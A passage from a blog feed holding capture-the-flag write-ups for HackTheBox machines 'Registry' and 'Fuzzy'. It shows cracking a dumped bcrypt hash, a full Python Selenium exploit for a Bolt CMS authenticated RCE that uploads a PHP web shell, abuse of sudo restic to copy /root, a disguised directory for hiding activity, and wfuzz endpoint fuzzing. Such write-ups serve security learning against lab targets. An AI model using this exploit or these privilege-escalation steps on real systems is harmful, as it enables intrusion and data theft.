class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_log_system&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_relations&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_taxonomy&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_users&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_homepage&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_pages&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_entries&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_showcases&#39;<\/span><span class=\"p\">,),<\/span> <span class=\"p\">(<\/span><span class=\"s1\">&#39;bolt_blocks&#39;<\/span><span class=\"p\">,)]<\/span>\n\n<span class=\"o\">&gt;&gt;&gt;<\/span> <span class=\"nb\">list<\/span><span class=\"p\">(<\/span><span class=\"n\">cur<\/span><span class=\"o\">.<\/span><span class=\"n\">execute<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;SELECT * FROM bolt_users;&quot;<\/span><span class=\"p\">))<\/span>\n<span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;admin&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3\/Z0yYD86.P5E9cpY7PK&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;bolt@registry.htb&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;2019-10-17 14:34:52&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;10.10.14.2&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;Admin&#39;<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;[&quot;files:\/\/shell.php&quot;]&#39;<\/span><span class=\"p\">,<\/span> <span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span><span class=\"p\">,<\/span> <span class=\"mi\">3<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span><span class=\"p\">,<\/span> <span class=\"s1\">&#39;[&quot;root&quot;,&quot;everyone&quot;]&#39;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>Locally, we crack the credentials with John:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># john --wordlist=\/usr\/share\/wordlists\/rockyou.txt bolt.key<\/span>\nUsing<span class=\"w\"> <\/span>default<span class=\"w\"> <\/span>input<span class=\"w\"> <\/span>encoding:<span class=\"w\"> <\/span>UTF-8\nLoaded<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"nb\">hash<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>bcrypt<span class=\"w\"> <\/span><span class=\"o\">[<\/span>Blowfish<span class=\"w\"> <\/span><span class=\"m\">32<\/span>\/64<span class=\"w\"> <\/span>X3<span class=\"o\">])<\/span>\nCost<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span><span class=\"o\">(<\/span>iteration<span class=\"w\"> <\/span>count<span class=\"o\">)<\/span><span class=\"w\"> <\/span>is<span class=\"w\"> <\/span><span class=\"m\">1024<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>loaded<span class=\"w\"> <\/span>hashes\nWill<span class=\"w\"> <\/span>run<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span>OpenMP<span class=\"w\"> <\/span>threads\nPress<span class=\"w\"> <\/span><span class=\"s1\">&#39;q&#39;<\/span><span class=\"w\"> <\/span>or<span class=\"w\"> <\/span>Ctrl-C<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>abort,<span class=\"w\"> <\/span>almost<span class=\"w\"> <\/span>any<span class=\"w\"> <\/span>other<span class=\"w\"> <\/span>key<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>status\nstrawberry<span class=\"w\">       <\/span><span class=\"o\">(<\/span>?<span class=\"o\">)<\/span>\n1g<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00:00:06<span class=\"w\"> <\/span>DONE<span class=\"w\"> <\/span><span class=\"o\">(<\/span><span class=\"m\">2020<\/span>-01-18<span class=\"w\"> <\/span><span class=\"m\">20<\/span>:56<span class=\"o\">)<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>.1436g\/s<span class=\"w\"> <\/span><span class=\"m\">51<\/span>.72p\/s<span class=\"w\"> <\/span><span class=\"m\">51<\/span>.72c\/s<span class=\"w\"> <\/span><span class=\"m\">51<\/span>.72C\/s<span class=\"w\"> <\/span>strawberry..brianna\nUse<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span><span class=\"s2\">&quot;--show&quot;<\/span><span class=\"w\"> <\/span>option<span class=\"w\"> <\/span>to<span class=\"w\"> <\/span>display<span class=\"w\"> <\/span>all<span class=\"w\"> <\/span>of<span class=\"w\"> <\/span>the<span class=\"w\"> <\/span>cracked<span class=\"w\"> <\/span>passwords<span class=\"w\"> <\/span>reliably\nSession<span class=\"w\"> <\/span>completed\n<\/code><\/pre><\/div>\n\n<p>And we find out that all standing between us and a successful login previously was the credentials <code>Admin:strawberry<\/code>. Logging in and looking around, we learn that the installed version is vulnerable to an <a href=\"https:\/\/fgsec.net\/from-csrf-to-rce-bolt-cms\/\">authenticated remote code execution<\/a>. Remembering the mental note about the previous backup script, the battle plan is as follows: Use the remote code execution vulnerability to gain access in Bolt as <code>www-data<\/code> user, maybe by installing a web shell for better persistence, and gain access to <code>restic<\/code>from there. Hopefully, this will bring us a step closer to compromising the backup files it handles.However, trying out the proof-of-concept code does not yield success as the stager payload keeps getting deleted. Maybe a bug in the researcher's code, perhaps something specific to the system. Or just me fat-fingering this, but I tried <em>really hard<\/em> for a good hour. At this point, let's just learn the internals of the exploit and reimplement a better proof-of-concept in Python.So here is my PoC for <a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2019-10874\">CVE-2019-10874<\/a>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"kn\">from<\/span> <span class=\"nn\">pathlib<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Path<\/span>\n\n<span class=\"kn\">import<\/span> <span class=\"nn\">requests<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">selenium<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">webdriver<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">selenium.webdriver.common.action_chains<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">ActionChains<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">selenium.webdriver.common.alert<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Alert<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">selenium.webdriver.common.keys<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Keys<\/span>\n<span class=\"kn\">from<\/span> <span class=\"nn\">selenium.webdriver.firefox.options<\/span> <span class=\"kn\">import<\/span> <span class=\"n\">Options<\/span>\n\n<span class=\"n\">COMMAND<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;&lt;stuff here&gt;&quot;<\/span>\n<span class=\"n\">USERNAME<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;admin&quot;<\/span>\n<span class=\"n\">PASSWORD<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;strawberry&quot;<\/span>\n<span class=\"n\">PAYLOAD_NAME<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;payload.php&quot;<\/span>\n<span class=\"n\">PAYLOAD_PATH<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">str<\/span><span class=\"p\">(<\/span><span class=\"n\">Path<\/span><span class=\"p\">(<\/span><span class=\"n\">PAYLOAD_NAME<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">absolute<\/span><span class=\"p\">())<\/span>\n<span class=\"n\">TARGET<\/span> <span class=\"o\">=<\/span> <span class=\"s2\">&quot;http:\/\/registry.htb&quot;<\/span>\n<span class=\"n\">BOLT_URL<\/span> <span class=\"o\">=<\/span> <span class=\"n\">TARGET<\/span> <span class=\"o\">+<\/span> <span class=\"s2\">&quot;\/bolt\/bolt&quot;<\/span>\n\n<span class=\"n\">LOGIN_URL<\/span> <span class=\"o\">=<\/span> <span class=\"n\">BOLT_URL<\/span> <span class=\"o\">+<\/span> <span class=\"s2\">&quot;\/login&quot;<\/span>\n<span class=\"n\">CONFIG_URL<\/span> <span class=\"o\">=<\/span> <span class=\"n\">BOLT_URL<\/span> <span class=\"o\">+<\/span> <span class=\"s2\">&quot;\/file\/edit\/config\/config.yml&quot;<\/span>\n<span class=\"n\">UPLOAD_URL<\/span> <span class=\"o\">=<\/span> <span class=\"n\">BOLT_URL<\/span> <span class=\"o\">+<\/span> <span class=\"s2\">&quot;\/files&quot;<\/span>\n<span class=\"n\">PAYLOAD_URL<\/span> <span class=\"o\">=<\/span> <span class=\"n\">TARGET<\/span> <span class=\"o\">+<\/span> <span class=\"s2\">&quot;\/bolt\/files\/&quot;<\/span> <span class=\"o\">+<\/span> <span class=\"n\">PAYLOAD_NAME<\/span>\n\n<span class=\"n\">options<\/span> <span class=\"o\">=<\/span> <span class=\"n\">Options<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">options<\/span><span class=\"o\">.<\/span><span class=\"n\">headless<\/span> <span class=\"o\">=<\/span> <span class=\"kc\">True<\/span>\n<span class=\"n\">client<\/span> <span class=\"o\">=<\/span> <span class=\"n\">webdriver<\/span><span class=\"o\">.<\/span><span class=\"n\">Firefox<\/span><span class=\"p\">(<\/span><span class=\"n\">options<\/span><span class=\"o\">=<\/span><span class=\"n\">options<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">LOGIN_URL<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">username_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_id<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;user_login_username&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">password_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_id<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;user_login_password&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">form_btn_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_id<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;user_login_login&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">username_element<\/span><span class=\"o\">.<\/span><span class=\"n\">clear<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">username_element<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"n\">USERNAME<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">password_element<\/span><span class=\"o\">.<\/span><span class=\"n\">clear<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">password_element<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"n\">PASSWORD<\/span><span class=\"p\">)<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Logging in as&quot;<\/span><span class=\"p\">,<\/span> <span class=\"n\">USERNAME<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">form_btn_element<\/span><span class=\"o\">.<\/span><span class=\"n\">click<\/span><span class=\"p\">()<\/span>\n\n<span class=\"c1\"># post config with php extension<\/span>\n<span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">CONFIG_URL<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">fileedit_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_css_selector<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;.CodeMirror textarea&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">form_btn_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_id<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;file_edit_save&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Replace xlsx -&gt; php&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">actions<\/span> <span class=\"o\">=<\/span> <span class=\"n\">ActionChains<\/span><span class=\"p\">(<\/span><span class=\"n\">client<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">actions<\/span><span class=\"o\">.<\/span><span class=\"n\">move_to_element<\/span><span class=\"p\">(<\/span><span class=\"n\">fileedit_element<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">actions<\/span><span class=\"o\">.<\/span><span class=\"n\">click<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">actions<\/span><span class=\"o\">.<\/span><span class=\"n\">key_down<\/span><span class=\"p\">(<\/span><span class=\"n\">Keys<\/span><span class=\"o\">.<\/span><span class=\"n\">CONTROL<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;h&#39;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">key_up<\/span><span class=\"p\">(<\/span><span class=\"n\">Keys<\/span><span class=\"o\">.<\/span><span class=\"n\">CONTROL<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">actions<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;xlsx&quot;<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"n\">Keys<\/span><span class=\"o\">.<\/span><span class=\"n\">RETURN<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;php&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">actions<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"n\">Keys<\/span><span class=\"o\">.<\/span><span class=\"n\">RETURN<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">actions<\/span><span class=\"o\">.<\/span><span class=\"n\">perform<\/span><span class=\"p\">()<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Saving config&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">form_btn_element<\/span><span class=\"o\">.<\/span><span class=\"n\">click<\/span><span class=\"p\">()<\/span>\n\n<span class=\"c1\"># upload php file<\/span>\n<span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">UPLOAD_URL<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">Alert<\/span><span class=\"p\">(<\/span><span class=\"n\">client<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">accept<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">UPLOAD_URL<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">UPLOAD_URL<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">select_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_id<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;file_upload_select&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">upload_element<\/span> <span class=\"o\">=<\/span> <span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">find_element_by_id<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;file_upload_upload&quot;<\/span><span class=\"p\">)<\/span>\n\n<span class=\"n\">select_element<\/span><span class=\"o\">.<\/span><span class=\"n\">send_keys<\/span><span class=\"p\">(<\/span><span class=\"n\">PAYLOAD_PATH<\/span><span class=\"p\">)<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Uploading&quot;<\/span><span class=\"p\">,<\/span> <span class=\"n\">PAYLOAD_PATH<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">upload_element<\/span><span class=\"o\">.<\/span><span class=\"n\">click<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">client<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span><span class=\"p\">()<\/span>\n\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Executing command&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"c1\"># call php payload and execute payload<\/span>\n<span class=\"n\">resp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">requests<\/span><span class=\"o\">.<\/span><span class=\"n\">get<\/span><span class=\"p\">(<\/span><span class=\"n\">PAYLOAD_URL<\/span><span class=\"p\">,<\/span> <span class=\"n\">params<\/span><span class=\"o\">=<\/span><span class=\"p\">{<\/span><span class=\"s2\">&quot;cmd&quot;<\/span><span class=\"p\">:<\/span> <span class=\"n\">COMMAND<\/span><span class=\"p\">})<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;[+] Got response!&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"nb\">print<\/span><span class=\"p\">(<\/span><span class=\"n\">resp<\/span><span class=\"o\">.<\/span><span class=\"n\">text<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>While getting <a href=\"https:\/\/www.selenium.dev\/documentation\/webdriver\/getting_started\/\">Selenium<\/a> to work increases the initial effort to get the PoC to run, it makes the payload delivery way more reliable. And indeed, using the script, we get access. Executing it with <code>sudo -l<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>Matching Defaults entries for www-data on bolt:\n    env_reset, exempt_group=sudo, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser www-data may run the following commands on bolt:\n    (root) NOPASSWD: \/usr\/bin\/restic backup -r rest*\n<\/code><\/pre><\/div>\n\n<p>As <code>www-data<\/code>, we can run <code>restic<\/code>as root, which theoretically allows us to steal the backup files. We have to host a <a href=\"https:\/\/github.com\/restic\/rest-server\">restic<\/a> server for that. So we download the repo to our localhost first. To hide our activity from other nosy users on the box, we create some weird temp directory that looks like a system-internal one:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>mkdir<span class=\"w\"> <\/span>-p<span class=\"w\"> <\/span>\/tmp\/systemd-private-00x-systemd-resolver.service\/\n<\/code><\/pre><\/div>\n\n<p>Then we upload the restic server from our localhost to the box:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>scp<span class=\"w\"> <\/span>-i<span class=\"w\"> <\/span>~\/registry\/registry-root.key<span class=\"w\"> <\/span>rest-server<span class=\"w\"> <\/span>bolt@registry.htb:\/tmp\/systemd-private-00x-systemd-resolver.service\/\n<\/code><\/pre><\/div>\n\n<p>Then we run the restic server on the box:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>bolt@bolt:\/tmp\/systemd-private-00x-systemd-resolver.service\/content$<span class=\"w\"> <\/span>.\/rest-server<span class=\"w\"> <\/span>--no-auth<span class=\"w\"> <\/span>--listen<span class=\"w\"> <\/span><span class=\"m\">0<\/span>.0.0.0:4545<span class=\"w\"> <\/span>--path<span class=\"w\"> <\/span>content\n<\/code><\/pre><\/div>\n\n<p>We also need to define a local password file containing an encryption password. We can arbitrarily set one and use it later to decrypt the contents locally. After the setup, we're ready to trigger the backup through our PoC:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>sudo<span class=\"w\"> <\/span>restic<span class=\"w\"> <\/span>backup<span class=\"w\"> <\/span>-r<span class=\"w\"> <\/span>rest:http:\/\/127.0.0.1:4545\/<span class=\"w\"> <\/span>--password-file<span class=\"o\">=<\/span>\/tmp\/systemd-private-00x-systemd-resolver.service\/pass.txt<span class=\"w\"> <\/span>\/root<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;<span class=\"p\">&amp;<\/span><span class=\"m\">1<\/span>\n<\/code><\/pre><\/div>\n\n<p>And with the following response, we can see that we successfully backed up the root directory!<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>python3<span class=\"w\"> <\/span>exploit.py\n<span class=\"o\">[<\/span>+<span class=\"o\">]<\/span><span class=\"w\"> <\/span>Logging<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>as<span class=\"w\"> <\/span>admin\n<span class=\"o\">[<\/span>+<span class=\"o\">]<\/span><span class=\"w\"> <\/span>Replace<span class=\"w\"> <\/span>xlsx<span class=\"w\"> <\/span>-&gt;<span class=\"w\"> <\/span>php\n<span class=\"o\">[<\/span>+<span class=\"o\">]<\/span><span class=\"w\"> <\/span>Saving<span class=\"w\"> <\/span>config\n<span class=\"o\">[<\/span>+<span class=\"o\">]<\/span><span class=\"w\"> <\/span>Uploading<span class=\"w\"> <\/span>\/root\/registry\/payload.php\n<span class=\"o\">[<\/span>+<span class=\"o\">]<\/span><span class=\"w\"> <\/span>Executing<span class=\"w\"> <\/span><span class=\"nb\">command<\/span>\n<span class=\"o\">[<\/span>+<span class=\"o\">]<\/span><span class=\"w\"> <\/span>Got<span class=\"w\"> <\/span>response!\nscan<span class=\"w\"> <\/span><span class=\"o\">[<\/span>\/root<span class=\"o\">]<\/span>\n<span class=\"o\">[<\/span><span class=\"m\">0<\/span>:00<span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span><span class=\"w\"> <\/span>directories,<span class=\"w\"> <\/span><span class=\"m\">14<\/span><span class=\"w\"> <\/span>files,<span class=\"w\"> <\/span><span class=\"m\">28<\/span>.066<span class=\"w\"> <\/span>KiB\nscanned<span class=\"w\"> <\/span><span class=\"m\">10<\/span><span class=\"w\"> <\/span>directories,<span class=\"w\"> <\/span><span class=\"m\">14<\/span><span class=\"w\"> <\/span>files<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00\n<span class=\"o\">[<\/span><span class=\"m\">0<\/span>:00<span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"m\">100<\/span>.00%<span class=\"w\">  <\/span><span class=\"m\">28<\/span>.066<span class=\"w\"> <\/span>KiB<span class=\"w\"> <\/span>\/<span class=\"w\"> <\/span><span class=\"m\">28<\/span>.066<span class=\"w\"> <\/span>KiB<span class=\"w\">  <\/span><span class=\"m\">24<\/span><span class=\"w\"> <\/span>\/<span class=\"w\"> <\/span><span class=\"m\">24<\/span><span class=\"w\"> <\/span>items<span class=\"w\">  <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>errors<span class=\"w\">  <\/span>ETA<span class=\"w\"> <\/span><span class=\"m\">0<\/span>:00\n<\/code><\/pre><\/div>\n\n<p>We can list the backups on the box:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>bolt@bolt:\/tmp\/systemd-private-00x-systemd-resolver.service\/content$<span class=\"w\"> <\/span>restic<span class=\"w\"> <\/span>-r<span class=\"w\"> <\/span>.<span class=\"w\"> <\/span>snapshots\nenter<span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>repository:\npassword<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>correct\nID<span class=\"w\">        <\/span>Date<span class=\"w\">                 <\/span>Host<span class=\"w\">        <\/span>Tags<span class=\"w\">        <\/span>Directory\n----------------------------------------------------------------------\n2a4c5a70<span class=\"w\">  <\/span><span class=\"m\">2020<\/span>-02-12<span class=\"w\"> <\/span><span class=\"m\">17<\/span>:32:13<span class=\"w\">  <\/span>bolt<span class=\"w\">                    <\/span>\/root\n----------------------------------------------------------------------\n<\/code><\/pre><\/div>\n\n<p>.. and finally, dump the backup contents:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>bolt@bolt:\/tmp\/systemd-private-00x-systemd-resolver.service\/content$<span class=\"w\"> <\/span>restic<span class=\"w\"> <\/span>-r<span class=\"w\"> <\/span>.<span class=\"w\"> <\/span>dump<span class=\"w\"> <\/span>2a4c5a70<span class=\"w\"> <\/span>\/root\/root.txt\nenter<span class=\"w\"> <\/span>password<span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>repository:\npassword<span class=\"w\"> <\/span>is<span class=\"w\"> <\/span>correct\n&lt;flag<span class=\"w\"> <\/span>here&gt;\n<\/code><\/pre><\/div>\n\n<p>This leaves us with the root flag! What a ride!<\/p>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox Fuzzy","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2020\/09\/23\/hackthebox-fuzzy.html","rel":"alternate"}},"published":"2020-09-23T00:00:00+02:00","updated":"2020-09-23T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2020-09-23:\/2020\/09\/23\/hackthebox-fuzzy.html","summary":"<p>Fuzzy is a fun and short challenge on a docker container. It is especially good for teaching beginners the basics of using a fuzzer to discover new endpoints on a webserver.Spawning the container and probing around a bit, we don't have too much success. Using dirbuster and a standard \u2026<\/p>","content":"<p>Fuzzy is a fun and short challenge on a docker container. It is especially good for teaching beginners the basics of using a fuzzer to discover new endpoints on a webserver.Spawning the container and probing around a bit, we don't have too much success. Using dirbuster and a standard wordlist, we find the endpoint <code>\/api\/action.php<\/code>. With <code>wfuzz<\/code> we can now see whether passing any specific parameter to the endpoint significantly changes our response payload:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wfuzz<span class=\"w\"> <\/span>-w<span class=\"w\"> <\/span>seclists\/Discovery\/Web-Content\/burp-parameter-names.txt<span class=\"w\"> <\/span>--hh<span class=\"w\"> <\/span><span class=\"m\">24<\/span><span class=\"w\"> <\/span>http:\/\/docker.hackthebox.eu:32514\/api\/action.php<span class=\"se\">\\?<\/span>FUZZ\n\n********************************************************\n*<span class=\"w\"> <\/span>Wfuzz<span class=\"w\"> <\/span><span class=\"m\">2<\/span>.4.2<span class=\"w\"> <\/span>-<span class=\"w\"> <\/span>The<span class=\"w\"> <\/span>Web<span class=\"w\"> <\/span>Fuzzer<span class=\"w\">                         <\/span>*\n********************************************************\n\nTarget:<span class=\"w\"> <\/span>http:\/\/docker.hackthebox.eu:32514\/api\/action.php?FUZZ\nTotal<span class=\"w\"> <\/span>requests:<span class=\"w\"> <\/span><span class=\"nv\">2588<\/span>\n\n<span class=\"o\">===================================================================<\/span>\nID<span class=\"w\">           <\/span>Response<span class=\"w\">   <\/span>Lines<span class=\"w\">    <\/span>Word<span class=\"w\">     <\/span>Chars<span class=\"w\">       <\/span><span class=\"nv\">Payload<\/span>\n<span class=\"o\">===================================================================<\/span>\n\n<span class=\"m\">000000106<\/span>:<span class=\"w\">   <\/span><span class=\"m\">200<\/span><span class=\"w\">        <\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>L<span class=\"w\">      <\/span><span class=\"m\">5<\/span><span class=\"w\"> <\/span>W<span class=\"w\">      <\/span><span class=\"m\">27<\/span><span class=\"w\"> <\/span>Ch<span class=\"w\">       <\/span><span class=\"s2\">&quot;reset&quot;<\/span>\n\nTotal<span class=\"w\"> <\/span>time:<span class=\"w\"> <\/span><span class=\"m\">15<\/span>.79833\nProcessed<span class=\"w\"> <\/span>Requests:<span class=\"w\"> <\/span><span class=\"m\">2588<\/span>\nFiltered<span class=\"w\"> <\/span>Requests:<span class=\"w\"> <\/span><span class=\"m\">2587<\/span>\nRequests\/sec.:<span class=\"w\"> <\/span><span class=\"m\">163<\/span>.8147\n<\/code><\/pre><\/div>\n\n<p>Passing the <code>reset<\/code> parameter yields the error message: <code>Error: Account ID not found<\/code>. We can use <code>wfuzz<\/code> again to fuzz\npotential values for the parameter.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>wfuzz<span class=\"w\"> <\/span>-z<span class=\"w\"> <\/span>range,0-1000<span class=\"w\"> <\/span>--hh<span class=\"w\"> <\/span><span class=\"m\">27<\/span><span class=\"w\"> <\/span>http:\/\/docker.hackthebox.eu:32514\/api\/action.php<span 